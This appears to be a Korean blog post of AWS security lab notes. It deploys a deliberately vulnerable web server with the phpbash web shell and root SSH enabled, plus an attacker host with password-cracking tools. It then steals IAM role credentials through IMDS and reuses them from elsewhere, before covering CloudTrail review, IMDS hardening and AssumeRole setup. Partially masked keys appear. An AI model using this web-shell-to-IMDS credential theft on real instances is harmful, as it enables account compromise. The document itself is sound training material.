취약한 웹서버에서 정보 획득
CloudTrail에서 이벤트 기록 확인해보기
CLI로 IAM 계정 만들기
어슘롤 만들어 user가 다른 user 권한 받아 사용하기
콘솔에서 오슘롤 사용하는법 알아보기
1
aws 로그인
https://console.aws.amazon.com/console/home
cloudfomation으로 실습 환경 구축
Pub subnet 2개
EC2 2대 만든다
취약한 WebServer EC2 1대 ip는 10번 - S3 Readonly 프로파일을 가진다.
공격 Attacker EC2 ip는 20번
2
Cloudformation 내용 확인
Parameters:
KeyName:
Description: Name of an existing EC2 KeyPair to enable SSH access to the instances. Linked to AWS Parameter
Type: AWS::EC2::KeyPair::KeyName
Resources:
# IAM Role & Instance Profile
IAMLabInstanceRole:
Type: AWS::IAM::Role
Properties:
RoleName: IAMLabInstanceRole
AssumeRolePolicyDocument:
Version: 2012-10-17
Statement:
-
Effect: Allow
Principal:
Service:
- ec2.amazonaws.com
Action:
- sts:AssumeRole
Path: /
ManagedPolicyArns:
- arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess
IAMRoleForInstanceProfile:
Type: AWS::IAM::InstanceProfile
Properties:
InstanceProfileName: IAMLabRoleForInstances
Path: /
Roles:
- !Ref IAMLabInstanceRole
# VPC
MyVPC:
Type: AWS::EC2::VPC
Properties:
CidrBlock: 10.0.0.0/16
EnableDnsHostnames: true
EnableDnsSupport: true
Tags:
- Key: Name
Value: My-VPC
:
:
MyPublicSN:
Type: AWS::EC2::Subnet
Properties:
VpcId: !Ref MyVPC
AvailabilityZone: !Select [ 0, !GetAZs '' ]
CidrBlock: 10.0.0.0/24
Tags:
- Key: Name
Value: My-Public-SN
MyPublicSN2:
Type: AWS::EC2::Subnet
Properties:
VpcId: !Ref MyVPC
AvailabilityZone: !Select [ 2, !GetAZs '' ]
CidrBlock: 10.0.1.0/24
:
:
MYEC2:
Type: AWS::EC2::Instance
Properties:
InstanceType: t2.micro
ImageId: !Ref LatestAmiId
IamInstanceProfile: IAMLabRoleForInstances
KeyName: !Ref KeyName
Tags:
- Key: Name
Value: WebServer
NetworkInterfaces:
- DeviceIndex: 0
SubnetId: !Ref MyPublicSN
GroupSet:
- !Ref MySG
AssociatePublicIpAddress: true
PrivateIpAddress: 10.0.0.10
BlockDeviceMappings:
- DeviceName: /dev/xvda
Ebs:
VolumeType: gp3
VolumeSize: 30
DeleteOnTermination: true
UserData:
Fn::Base64:
!Sub |
#!/bin/bash
hostnamectl --static set-hostname WebServer
echo "sudo su -" >> /home/ec2-user/.bashrc
# Change Timezone
sed -i "s/UTC/Asia\/Seoul/g" /etc/sysconfig/clock
ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime
# Install Packages
yum install -y httpd php tree git htop jq
# Install httpd & WebShell
systemctl start httpd && systemctl enable httpd
curl -o /var/www/html/index.php https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php
# Install aws cli v2
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip >/dev/null 2>&1
sudo ./aws/install
complete -C '/usr/local/bin/aws_completer' aws
echo 'export AWS_PAGER=""' >>/etc/profile
export AWS_DEFAULT_REGION=${AWS::Region}
echo "export AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION" >> /etc/profile
# Install Docker
cat <<EOF | sudo tee /etc/sysctl.d/docker.conf
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
EOF
amazon-linux-extras install docker -y
systemctl start docker && systemctl enable docker
# Setting SSH
sed -i "s/^PasswordAuthentication no/PasswordAuthentication yes/g" /etc/ssh/sshd_config
sed -i "s/^#PermitRootLogin yes/PermitRootLogin yes/g" /etc/ssh/sshd_config
systemctl restart sshd
MYEC22:
Type: AWS::EC2::Instance
Properties:
InstanceType: t2.micro
ImageId: !Ref LatestAmiId
KeyName: !Ref KeyName
Tags:
- Key: Name
Value: Attacker
NetworkInterfaces:
- DeviceIndex: 0
SubnetId: !Ref MyPublicSN
GroupSet:
- !Ref MySG
AssociatePublicIpAddress: true
PrivateIpAddress: 10.0.0.20
BlockDeviceMappings:
- DeviceName: /dev/xvda
Ebs:
VolumeType: gp3
VolumeSize: 30
DeleteOnTermination: true
UserData:
Fn::Base64:
!Sub |
#!/bin/bash
hostnamectl --static set-hostname Attacker
echo "sudo su -" >> /home/ec2-user/.bashrc
# Change Timezone
sed -i "s/UTC/Asia\/Seoul/g" /etc/sysconfig/clock
ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime
# Install Packages
yum install -y tree git htop jq nc lynx
# Install aws cli v2
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip >/dev/null 2>&1
sudo ./aws/install
complete -C '/usr/local/bin/aws_completer' aws
echo 'export AWS_PAGER=""' >>/etc/profile
export AWS_DEFAULT_REGION=${AWS::Region}
echo "export AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION" >> /etc/profile
# Install Docker
cat <<EOF | sudo tee /etc/sysctl.d/docker.conf
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
EOF
amazon-linux-extras install docker epel -y
systemctl start docker && systemctl enable docker
# Install Password
yum install -y hydra gcc sshpass
cd /root
wget https://raw.githubusercontent.com/Mebus/cupp/master/cupp.py
wget https://raw.githubusercontent.com/Mebus/cupp/master/cupp.cfg
wget https://github.com/praetorian-inc/Hob0Rules/raw/master/wordlists/rockyou.txt.gz
gzip -d rockyou.txt.gz
wget https://sourceforge.net/projects/crunch-wordlist/files/latest/download
tar -xvf download && rm -rf download && cd crunch-3.6/
make && make install
Outputs:
WebServerIP:
Value: !GetAtt MYEC2.PublicIp
AttackerIP:
Value: !GetAtt MYEC22.PublicIp
3
Ec2 2대에 로그온해 확인
# Asia Seoul date 설정 확인
date
# aws cli v2 설치 확인
aws --version
# 도커 엔진 설치 확인
docker info
# 볼륨 Size 확인
df -hT --type xfs
# 네트워크 인터페이스 IP 확인
ip -br -c -4 addr show eth0
eth0 UP 10.0.0.10/24 - web
eth0 UP 10.0.0.20/24 - attacker
ip -br -c -4 addr
[root@WebServer ~]# ip -br -c -4 addr
lo UNKNOWN 127.0.0.1/8
eth0 UP 10.0.0.10/24
docker0 DOWN 172.17.0.1/16
[root@Attacker ~]# ip -br -c -4 addr
lo UNKNOWN 127.0.0.1/8
eth0 UP 10.0.0.20/24
docker0 DOWN 172.17.0.1/16
4
[WebServer] EC2
# Apache Web 서비스 확인
systemctl status httpd
5
[Attacker] EC2
# 설치된 tool과 txt 파일 등 확인
ls -lh /root
tree /root
[root@Attacker ~]# ls -lh /root
total 40K
drwxr-xr-x 2 root root 126 Sep 5 16:50 crunch-3.6
-rw-r--r-- 1 root root 1.7K Sep 5 16:46 cupp.cfg
-rw-r--r-- 1 root root 34K Sep 5 16:46 cupp.py
[root@Attacker ~]# tree /root
/root
├── crunch-3.6
│ ├── charset.lst
│ ├── COPYING
│ ├── crunch
│ ├── crunch.1
│ ├── crunch.c
│ ├── Makefile
│ └── unicode_test.lst
├── cupp.cfg
└── cupp.py
1 directory, 9 files
EC2 WebShell + IMDS 취약점 사용하기
1
웹프라우저로 웹서버 공인 IP로 접속하기
apache@WebServer:/var/www/html#
2
apache@WebServer:/var/www/html# whoami
apache
3
# 아래 정보를 통해 aws ec2 임을 확인
whoam
pwd
ls -al
cat /etc/passwd
uname -a
hostnamectl
4
# IMDS 정보 확인 : IAM Role 출력값 메모 >> Token은 무엇인가? 유효기간은 얼마인가?
ip route
curl -s http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
system
curl -s http://169.254.169.254/latest/meta-data/local-ipv4 ; echo
curl -s http://169.254.169.254/latest/meta-data/public-ipv4 ; echo
curl -s http://169.254.169.254/latest/meta-data/iam/
info
security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
IAMLabInstanceRole
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole ; echo
{
"Code" : "Success",
"LastUpdated" : "2023-09-03T11:01:45Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BKWOCU",
"SecretAccessKey" : "noVipuH8n",
"Token" : "IQoJb3JpZ2luX2VjEFMd9d4MIQ0nCN0Bc5rDTRKwVuWHW755aMwDGjpiQwpnw2Q=",
"Expiration" : "2023-09-03T17:11:11Z"
}
AccessKey , SecretAccessKey, Token , Expiration 정보를 확인할수 있다.
이걸로 권한을 획득했다.
// Root 로 쓰면 안된다. 각 계정마다 권한 관리를 해야 한다.
[root@WebServer ~]# cat /etc/passwd
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
5
# 웹서버에서
IMDS 정보 확인
ip -c route
curl -s http://169.254.169.254/latest/meta-data/
/ 패스가 있는건 밑에 정보가 있다는 것이다.
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole | jq
{
"Code": "Success",
"LastUpdated": "2023-09-06T03:46:35Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASXZHMU",
"SecretAccessKey": "ZDklGR6DSvws3F",
"Token": "IQoJb3JpZ2luX2VjEJT//////////wEaDmFwLW5vcnRoZWFzdC0yIkYwRAIgMoUKzVTLqcFKtN8Ygt0wNGa+023t0cXVy9PG+PcuavTJePLx4WSyjmszAH3iv8s=",
"Expiration": "2023-09-06T10:02:57Z"
}
[root@WebServer html]#
6
# 웹 엑세스 로그 실시간 확인 : 시도 로그
tail -f /var/log/httpd/access_log
curl -s ipinfo.io/185.254.37.243 | jq
7
IMDS 취약점 자료
https://malwareanalysis.tistory.com/578
https://malwareanalysis.tistory.com/579
1
Public IP SSH 접속 후 탈취한 자격 증명 사용
2
# 자격 증명 없이 사용
aws s3 ls
안됨
Unable to locate credentials. You can configure credentials by running "aws configure".
# 위에서 출력된 AccessKeyId , SecretAccessKey , SessionToken 으로 임시자격증명 적용
export AWS_ACCESS_KEY_ID="ASIAV5xx6CCEH2"
export AWS_SECRET_ACCESS_KEY="NpvNZl5s8zCSfNL"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEapePO8="
# s3 정보 확인
aws s3 ls
조회됨!!!
[root@WebServer ~]# aws s3 ls
2023-08-29 11:16:54 ahss-topasvga-presign
2023-08-29 10:12:49 ahss-topasvga1
2023-07-02 10:31:07 cf-templates-18pmd1tc8r6q0-ap-northeast-2
2023-08-29 12:54:58 config-bucket-451032684083
# ec2 정보 확인
aws ec2 describe-instances --region ap-northeast-2 | head
안됨
// s3 권한만 가짐
3
# caller id 확인 : UserId와 Arn 맨 뒤 정보는 어떤 인스턴스ID인가? WebServe
Ec2 의 인스턴스 id 를 가져온다.
aws sts get-caller-identity | jq
[root@WebServer ~]# aws sts get-caller-identity | jq
{
"UserId": "AROAWSA5ESYZSSDSNMPBO:i-06fb1ed4b1140f8e6",
"Account": "4510384083",
"Arn": "arn:aws:sts::451032684083:assumed-role/IAMLabInstanceRole/i-06fb1ed4b1140f8e6"
}
[root@WebServer ~]#
1
이벤트 기록 > 속성 조회 > 사용자 이름 > 인스턴스ID 값 넣고 필터링 확인
i-06fb1ed4b1140f8e6
→ 각 이벤트 클릭하여 상세 정보 확인
2
List 버킷 클릭해서 보자.
3
Ec2 Describe 보자.
오류코드가 나온다. CloudTrail 에서 EC2 Describe 실패했던 이력을 볼수 있다.
4
이벤트 기록 > 이벤트 이름 AssumeRole 로 필터링 확인 → 각 이벤트 클릭하여 상세 정보 확인
5
[AWS 관리콘솔] 확인 :
IAM > 역할 > IAMLabInstanceRole 정보 확인 > AmazonS3ReadOnlyAccess 정책이 들어가있다.
EC2 웹서버 > 보안 > IAM 역할 > EC2 정보 확인(IAM 역할을 ec2에 주어져 있다.)
aws sts get-caller-identity | jq
임시키를 받아 사용하는 것이다.
6
Aws configure는 장기 키를 사용하는것이다.
7
Curl 로 메타데이터 정보가 보였던 부분을 개선해보자.
웹서버 인스턴스 우 클릭 > 인스턴스 설정 > 인스턴스 메타데이터 옵션 수정
개발팀에서 인스턴스 메타데이터를 안쓴다면 인스턴스 메타데이터 서비스 활성화를 제거 한다.
1
Admin 권한을 가진 리눅스 서버 1대 또는 개인 mac pc로 작업
여기서는 권한을 가진 리눅스 서버 1대 만든다.
클라우드 포메이션 사용
access-key, secret-key, ec2 키 필요함.
2
EC2 서버 생성후
자격증명을 가진 리눅스 서버로 로그인 한다.
myeks2-bastion-EC2
# aws cli 설치 및 버전 확인
aws --version
# caller id 확인
aws sts get-caller-identity
# 자신의 AWS 계정 ID 변수 지정
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
echo $ACCOUNT_ID
# 페이저 사용 비활성화
export AWS_PAGER=""
3
Iam user1 , user2 생성 ?
User1 access-key생성
User2 access-key 생성
# user1 사용자 생성
aws iam create-user --user-name user1
# user2 사용자 생성
aws iam create-user --user-name user2
4
사용자에 로그인 프로파일 생성
# user1 사용자의 AWS Web Console 로그인 profile 생성
cat <<EOF > create-login-profile-user1.json
{
"UserName": "user1",
"Password": "Ahss1234",
"PasswordResetRequired": false
}
EOF
cat create-login-profile-user1.json | jq
aws iam create-login-profile --cli-input-json file://create-login-profile-user1.json
// user1 프로파일 생성 완료
# user2 사용자의 AWS Web Console 로그인 profile 생성
cat <<EOF > create-login-profile-user2.json
{
"UserName": "user2",
"Password": "Ahss1234",
"PasswordResetRequired": false
}
EOF
cat create-login-profile-user2.json | jq
aws iam create-login-profile --cli-input-json file://create-login-profile-user2.json
// user2 프로파일 생성 완료
# iam 사용자 리스트 확인
aws iam list-users | jq
user1 , user2 확인됨.
5
# 사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name user1
{
"AccessKey": {
"UserName": "user1",
"AccessKeyId": "AK5INS2S5S",
"Status": "Active",
"SecretAccessKey": "N8jooi5SzjGn1Bc7SHOw",
"CreateDate": "2023-09-03T06:21:17+00:00"
}
}
aws iam create-access-key --user-name user2
{
"AccessKey": {
"UserName": "user2",
"AccessKeyId": "AKIA5ILF25VK",
"Status": "Active",
"SecretAccessKey": "x/p+1LE5V49JtN5Siyoenqa",
"CreateDate": "2023-09-03T06:21:27+00:00"
}
}
# 사용자에 정책을 추가
user1에 admin
user2에 ReadOnly
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name user1
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --user-name user2
4
[AWS 관리콘솔]
IAM 에서 User 정보 확인 : 관리콘솔 접속 URL 확인
AWS에서 사용자 로그인 URL은 별도로 있다. 해당 접속 URL 로 접속하자.
5
멀티 로그인 하자.
크롬 확장 프로그램인 multilogin 설치후 user1 , user2 콘솔 로그인하자.
https://chrome.google.com/webstore/detail/multilogin/ijfgglilaeakmoilplpcjcgjaoleopfi
위에서 만든 계정으로 로그온 되는지 확인하자.
6
CLI로 설정한 권한이 잘 되는지 확인하자.
CLI로 user1 , user2 자격증명 설정
# user1 자격증명 profile 생성
aws configure --profile user1
AWS Access Key ID [None]: AKINSS
AWS Secret Access Key [None]: Nc7SHOw
Default region name [None]: ap-northeast-2
Default output format [None]:
# user2 자격증명 profile 생성
aws configure --profile user2
AWS Access Key ID [None]: AKIA5VK
AWS Secret Access Key [None]: x/JtN5Siyoenqa
Default region name [None]: ap-northeast-2
Default output format [None]:
# 자격 증명 정보 저장되는 파일 확인
cat ~/.aws/credentials
8
자격증명 사용
User1 은 admin
User2는 readonly = s3 는 안만들어지겠죠 ^^
9
# caller id 확인
aws sts get-caller-identity --profile user1 | jq
aws sts get-caller-identity --profile user2 | jq
10
# user1 , user2 계정으로 자격증명 사용 확인
aws s3 ls --profile user1
aws s3 ls --profile user2
aws ec2 describe-vpcs --profile user1 | jq
aws ec2 describe-vpcs --profile user2 | jq
//둘다됨 , admin , Readonly 니까
11
# S3 버킷 생성
NICKNAME=<각자 자신의 닉네임>
NICKNAME=topasvga
#aws s3 mb s3://버킷(유일한 이름) --region ap-northeast-2
admin권한 가진 user1으로 s3 생성 = 만들어짐
aws s3 mb s3://ahss-2w-$NICKNAME --region ap-northeast-2 --profile user1
Readonly권한을 가진 user2로 s3 생성 = 안만들어짐
aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2 --profile user2
# S3 버킷 조회
aws s3 ls --profile user2
조회됨
ahss-2w-topasvga
8
임시자격증명 요청 및 사용
<Admin 서버에서 작업 >
ReadOny만 있는 user2가 user1의 권한을 잠시 사용하도록 AssumeRole Action 허용 해보자
# user2 사용자에 인라인 정책을 추가 : STS 서비스의 AssumeRole Action 허용
cat <<EOF > allow-assume-role.json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allowassumerole",
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "*"
}
]
}
EOF
cat allow-assume-role.json | jq
aws iam put-user-policy --user-name user2 --policy-name allow-assume-role --policy-document file://allow-assume-role.json
9
AmazonS3FullAccess 권한을 가진 IAM Role 생성
#
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
cat <<EOF > MyAccount-AssumeRole.json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$ACCOUNT_ID"
},
"Condition": {}
}
]
}
EOF
cat MyAccount-AssumeRole.json | jq
aws iam create-role --role-name assume-role-s3full --assume-role-policy-document file://MyAccount-AssumeRole.json --max-session-duration 7200
# assume-role-s3full IAM Role 에 AmazonS3FullAccess 정책 적용
aws iam attach-role-policy --role-name assume-role-s3full --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess
user2가 어슘롤을 통해 임시 자격증명을 받자(임시 권한을 받자. S3 생성임시 권한)
1
# AssumeRole 을 통해 임시자격증명 발급
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text --profile user2)
#aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/assume-role-s3full --role-session-name <각자 편한이름 지정> --query "Credentials.[AccessKeyId,SecretAccessKey,SessionToken]" --output text
aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/assume-role-s3full --role-session-name MyS3accessSession2 --profile user2
{
"Credentials": {
"AccessKeyId": "ASIA54JPGYCJ4",
"SecretAccessKey": "VxLj/OioApIIRHO",
"SessionToken": "IQoJbX2VJswZYFOmOXlsh",
"Expiration": "2023-09-03T07:50:09+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROA5ILF2FJITESCKZOAO:MyS3accessSession",
"Arn": "arn:aws:sts::911283464785:assumed-role/assume-role-s3full/MyS3accessSession"
}
}
# 위에서 출력된 AccessKeyId , SecretAccessKey , SessionToken 으로 임시자격증명 적용
export AWS_ACCESS_KEY_ID="ASIA5ILF2FJI4JPGYCJ4"
export AWS_SECRET_ACCESS_KEY="VxLRnDNrgDFcsAWd+Kruqtdjr75Ej/OioApIIRHO"
export AWS_SESSION_TOKEN="IQoJb3Jpbbq8pem06MoXFWy69hYlLJswZYFOmOXlsh"
export
# caller id 확인
aws sts get-caller-identity | jq
# S3 버킷 생성
NICKNAME=<각자 자신의 닉네임>
NICKNAME=topasvga
#aws s3 mb s3://버킷(유일한 이름) --region ap-northeast-2
aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2
# S3 버킷 조회
aws s3 ls
# S3 버킷 삭제
aws s3 rb s3://ahss-2w-$NICKNAME
aws s3 rb s3://ahss-2w-$NICKNAME-2
# (참고) 임시자격증명 제거
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
1
User2 콘솔로그인 = readonly 권한만 있음.
IAM Role 에서 ‘콘솔에서 역할 전환 링크’ 메모
2
해당 링크로 접속
3
역할 전환
S3 권한을 가진 user1으로 역할을 전환 했다.
4
S3 만들어보기
만들어 진다.
https://brunch.co.kr/@topasvga/3432
몰아보기
https://brunch.co.kr/@topasvga/3430
주말 CloudNet 스터디 내용 참고하여 정리한 부분입니다.
https://gasidaseo.notion.site/gasidaseo/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863
감사합니다.